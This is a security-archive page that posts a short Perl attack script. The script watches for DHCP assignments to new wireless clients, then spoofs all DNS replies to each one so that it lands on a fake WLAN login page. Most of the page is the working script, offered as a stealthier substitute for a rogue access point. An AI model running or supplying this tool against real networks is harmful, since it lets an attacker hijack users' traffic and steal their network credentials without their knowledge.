what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

wlan_webauth.txt

wlan_webauth.txt
Posted Sep 27, 2005
Authored by Craig Heffner

This is a quick script to redirect a wireless client to a fake a login page for a WLAN. This is much stealthier than implementing a rouge AP in conjunction with layer 1/2 attacks against the WAP. It uses tethereal to listen for IP addresses being assigned to a new wireless client via DHCP, then runs dnsa-ng to redirect DNS queries from the new client to the specified IP.

tags | tool, wireless
SHA-256 | 17b5108909bf86dbdef1d4982b0cebc5b7051fe0b86c0c2f0fafbd25ace69bbd

wlan_webauth.txt

Change Mirror Download
#!/usr/bin/perl
#########################################################################################################
#Description:
# This is a quick script to redirect a wireless client to a fake a login page for a WLAN. This is much
# stealthier than implementing a rouge AP in conjunction with layer 1/2 attacks against the WAP. It
# uses tethereal to listen for IP addresses being assigned to a new wireless client via DHCP, then
# runs dnsa-ng to redirect DNS queries from the new client to the specified IP.
#
#Usage:
# ./wlan_webauth <input interface> <ip address to spoof> <output interface>
#
#Dependancies:
# Uses tethereal and Pierre Betouin's dnsa-ng (https://www.packetfactory.net/projects/dnsa/).
#
#Supported platforms:
# Tested on linux 2.6, with Prisim 2.5 (HostAP drivers) and Atheros (Madwifi drivers) wireless
# cards.
#
#Notes:
# Input interface must be placed in monitor mode.
#
#Craig Heffner
#08/06/05
###########################################################################################################


#check usage
if($#ARGV+1<3){
print "\nUsage: wlan_webauth <input interface> <ip address to spoof> <output interface>\n\nExample: #./wlan_webauth ath0 192.168.0.102 wlan0\n\n";
exit;
}

#run tethereal to look for DHCP replies and grep for the assigned address
open(ETHEREAL, "tethereal -i $ARGV[0] -c 1 -V -R 'bootp.type == 2' | grep -e 'Your (client) IP address:' -e 'MAC address:' |");
while($a<2){
$output.=<ETHEREAL>;
$a++;
}
close(ETHEREAL);

#pull out the IP and MAC address from the string passed into $output
if($output =~ /\b(IP address:)\s+(\S+)/i){
$ip=$2;
}
if($output =~ /\b(MAC address:)\s+(\S+)/i){
$mac=$2;
}


#add the client's MAC/IP to arp table to speed things up, and print out new arp table listings
system "arp -s $ip $mac";
system "arp";

#run dnsa-ng to spoof replies to all DNS requests from the new client
system "dnsa-ng -m raw4 -t wifi -1 -S $ARGV[1] -s $ip -i $ARGV[0] -I $ARGV[2]";

exit;
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close